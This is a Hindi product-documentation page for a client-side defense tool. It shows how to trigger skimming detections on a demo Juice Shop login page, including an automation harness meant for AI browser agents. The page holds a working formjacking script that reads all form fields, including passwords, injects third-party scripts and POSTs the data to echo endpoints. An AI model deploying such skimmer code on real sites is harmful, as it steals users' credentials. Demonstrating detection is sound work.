इसे छोड़कर कंटेंट पर जाएं

ट्रिगर डिटेक्शन

ट्रिगर डिटेक्शन

Section titled “ट्रिगर डिटेक्शन”

CSD ब्राउज़र के अंदर JavaScript व्यवहार की निगरानी करता है। वेब ऐप फ़ायरवॉल (WAF) या Bot मानक रक्षा के विपरीत, आप curl कमांड से CSD डिटेक्शन ट्रिगर नहीं कर सकते — इसके लिए वास्तविक ब्राउज़र-साइड स्क्रिप्ट गतिविधि आवश्यक है। निम्नलिखित संयुक्त स्क्रिप्ट एकल निष्पादन में सभी तीन CSD डिटेक्शन सिग्नल ट्रिगर करती है: फॉर्म फील्ड हार्वेस्टिंग, एकाधिक CDN डोमेन से थर्ड-पार्टी स्क्रिप्ट इंजेक्शन, और बाहरी एंडपॉइंट पर डेटा एक्सफिल्ट्रेशन।

संयुक्त सिमुलेशन स्क्रिप्ट चलाएँ

Section titled “संयुक्त सिमुलेशन स्क्रिप्ट चलाएँ”
  1. Juice Shop के लॉगिन पेज पर https://botdemo.sales-demo.f5demos.com/#/login पर जाएँ

  2. फॉर्म फील्ड में डमी क्रेडेंशियल दर्ज करें — Email फील्ड में test@example.com और Password फील्ड में P@ssword123 टाइप करें (फॉर्म सबमिट न करें)

  3. DevTools खोलें (F12Console टैब)

    Empty DevTools Console ready for script inputEmpty DevTools Console ready for script input
  4. निम्नलिखित स्क्रिप्ट को कंसोल में पेस्ट करें और Enter दबाएँ — यह स्वचालित रूप से एक सेल्फ-एग्जीक्यूटिंग फ़ंक्शन के रूप में चलती है

    Combined Detection Script
    // CSD Demo — Combined Detection Script
    // Triggers ALL CSD detection signals: field reads, script injection, exfiltration
    (function() {
    console.log('='.repeat(50));
    console.log('[CSD Demo] Combined Detection Script — Starting');
    console.log('='.repeat(50));
    // Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)
    console.log('\n[Formjack] Phase 1: Form field harvesting');
    var inputs = document.querySelectorAll('input');
    var harvested = {};
    inputs.forEach(function(input) {
    var name = input.name || input.id || input.type;
    harvested[name] = input.value || '(empty)';
    });
    console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
    // Phase 2: Inject third-party scripts from 4 CDN domains
    console.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
    var cdns = [
    { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
    { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
    { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
    { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
    ];
    cdns.forEach(function(cdn) {
    var script = document.createElement('script');
    script.src = cdn.url;
    script.onload = function() {
    console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
    };
    script.onerror = function() {
    console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);
    };
    document.head.appendChild(script);
    console.log('[Supply Chain] Injected script tag: ' + cdn.name);
    });
    // Phase 3: Exfiltrate harvested data to external endpoints
    console.log('\n[Exfil] Phase 3: Data exfiltration');
    var payload = JSON.stringify({
    type: 'combined_demo',
    credentials: harvested,
    page: window.location.href,
    timestamp: Date.now()
    });
    fetch('https://www.httpbin.org/post', {
    method: 'POST',
    mode: 'no-cors',
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to www.httpbin.org');
    });
    fetch('https://jsonplaceholder.typicode.com/posts', {
    method: 'POST',
    mode: 'no-cors',
    headers: { 'Content-Type': 'application/json' },
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');
    });
    // Summary
    console.log('\n' + '='.repeat(50));
    console.log('[CSD Demo] Simulation complete');
    console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
    console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');
    console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');
    console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');
    console.log('='.repeat(50));
    })();
  5. प्रत्येक चरण की पुष्टि करने वाले चरणबद्ध [CSD Demo] कंसोल आउटपुट को देखें: फील्ड हार्वेस्टिंग, 4 CDN डोमेन से स्क्रिप्ट इंजेक्शन, और डेटा एक्सफिल्ट्रेशन। esm.sh ES मॉड्यूल सिंटैक्स (export default …) प्रदान करता है — जब एक क्लासिक <script> टैग के रूप में लोड किया जाता है तो यह Uncaught SyntaxError: Cannot use import statement outside a module का कारण बनता है। यह अपेक्षित है और CSD डिटेक्शन को प्रभावित नहीं करता (स्क्रिप्ट टैग अभी भी इंजेक्ट किया जाता है और नेटवर्क अनुरोध अभी भी किया जाता है)

    Console output after running the simulation scriptConsole output after running the simulation script

AI-स्वचालित निष्पादन

Section titled “AI-स्वचालित निष्पादन”

ब्राउज़र स्वचालन उपकरणों वाले AI असिस्टेंट (MCP Chrome DevTools, Playwright, Puppeteer) उपरोक्त मैनुअल चरणों का पालन करने की बजाय सिमुलेशन को प्रोग्रामेटिक रूप से निष्पादित करते हैं:

  1. initScript के साथ नेविगेट करें — पहले about:blank पर नेविगेट करें ताकि एक साफ़ डॉक्यूमेंट कॉन्टेक्स्ट सुनिश्चित हो, फिर एक initScript के साथ लॉगिन पेज URL (जैसे, http://$F5XC_DOMAINNAME/#/login) पर navigate_page करें जो zone.js के पैच करने से पहले नेटिव setInterval, clearInterval, fetch, और console.log को सेव करता है, लॉगिन फॉर्म फील्ड के लिए पोल करता है, नेटिव HTMLInputElement.prototype.value सेटर के माध्यम से क्रेडेंशियल भरता है, और तुरंत Combined Detection Script को इनलाइन निष्पादित करता है। नीचे दिए गए verbatim initScript का उपयोग करें।
  2. वेलकम बैनर बंद करें — Welcome Banner बंद करने के लिए Escape के साथ press_key करें। बाद की विज़िट पर बैनर दिखाई नहीं दे सकता (कुकीज़ बनी रहती हैं)
  3. पूर्णता की प्रतीक्षा करें — सभी CDN स्क्रिप्ट लोड/एरर कॉलबैक और fetch प्रॉमिस रिज़ॉल्यूशन पूर्ण होने के लिए 10 सेकंड प्रतीक्षा करें
  4. साक्ष्य कैप्चर करें[CSD Demo] Simulation complete की जाँच के लिए list_console_messages; HTTP स्टेटस कोड सत्यापित करने के लिए script और fetch प्रकारों में फ़िल्टर किए गए list_network_requests

initScript हार्नेस (verbatim — स्वचालित निष्पादन के लिए Combined Detection Script को रैप करता है):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('input[type="email"]');
var passEl = document.querySelector('input[type="password"]');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

नेटिव fetch पर नोट: यह हार्नेस zone.js एरर से बचने के लिए window.fetch.bind(window) को सेव करता है। यह सभी अटैक सिमुलेशन फेज़ के लिए सही व्यवहार है। CSD मिटिगेशन स्क्रिप्ट लोडिंग को ब्लॉक करता है (<script> टैग के src वैल्यू क्लियर करके), fetch() कॉल को नहीं, इसलिए नेटिव fetch रेफरेंस सेव करने से मिटिगेशन व्यवहार प्रभावित नहीं होता। Phase 2 और Phase 3 के लिए एक ही initScript उपयोग किया जाता है।

ब्राउज़र स्वचालन उपकरणों के बिना ऑपरेटर ऊपर दिए गए मैनुअल चरणों का उपयोग करते हैं।

स्क्रिप्ट क्या करती है

Section titled “स्क्रिप्ट क्या करती है”

संयुक्त सिमुलेशन सभी तीन CSD डिटेक्शन सिग्नल ट्रिगर करती है:

व्यवहारस्क्रिप्ट क्या करती हैCSD क्या देखता है
फील्ड हार्वेस्टिंगमौजूदा input एलिमेंट (email, password) से वैल्यू पढ़ता हैस्क्रिप्ट संवेदनशील फॉर्म फील्ड पढ़ रही हैं — High Risk के रूप में फ्लैग किया गया
स्क्रिप्ट इंजेक्शनcdn.jsdelivr.net, esm.sh, unpkg.com, और ga.jspm.io से लोड करने वाले 4 <script> टैग जोड़ता हैपेज पर 4 नए थर्ड-पार्टी स्क्रिप्ट डोमेन
डेटा एक्सफिल्ट्रेशनfetch के माध्यम से www.httpbin.org और jsonplaceholder.typicode.com पर हार्वेस्ट किया गया डेटा भेजता हैबाहरी डोमेन पर नेटवर्क कॉल (नोट: fetch गंतव्य स्क्रिप्ट नेटवर्क इंटरैक्शन के रूप में दिखाई देते हैं, Network डोमेन व्यू में नहीं)

उपरोक्त संयुक्त स्क्रिप्ट एक सरलीकृत 3-फेज़ वर्शन है (हार्वेस्ट, इंजेक्ट, एक्सफिल्ट्रेट) जो अधिकांश डेमो के लिए उपयुक्त है। अटैक स्क्रिप्ट लाइब्रेरी अटैक प्रकार के अनुसार व्यवस्थित 10 लक्षित स्क्रिप्ट प्रदान करती है, जिसमें एक Maximum Detection स्ट्रेस टेस्ट शामिल है जो संयुक्त स्क्रिप्ट की कवरेज के ऊपर DOM मैनिपुलेशन, कुकी एक्सफिल्ट्रेशन, और इमेज बीकन चैनल जोड़ता है। विशिष्ट अटैक श्रेणियों (formjacking, digital skimming, supply chain injection, data exfiltration, DOM manipulation) को अलग-अलग प्रदर्शित करने के लिए अलग-अलग स्क्रिप्ट का उपयोग करें।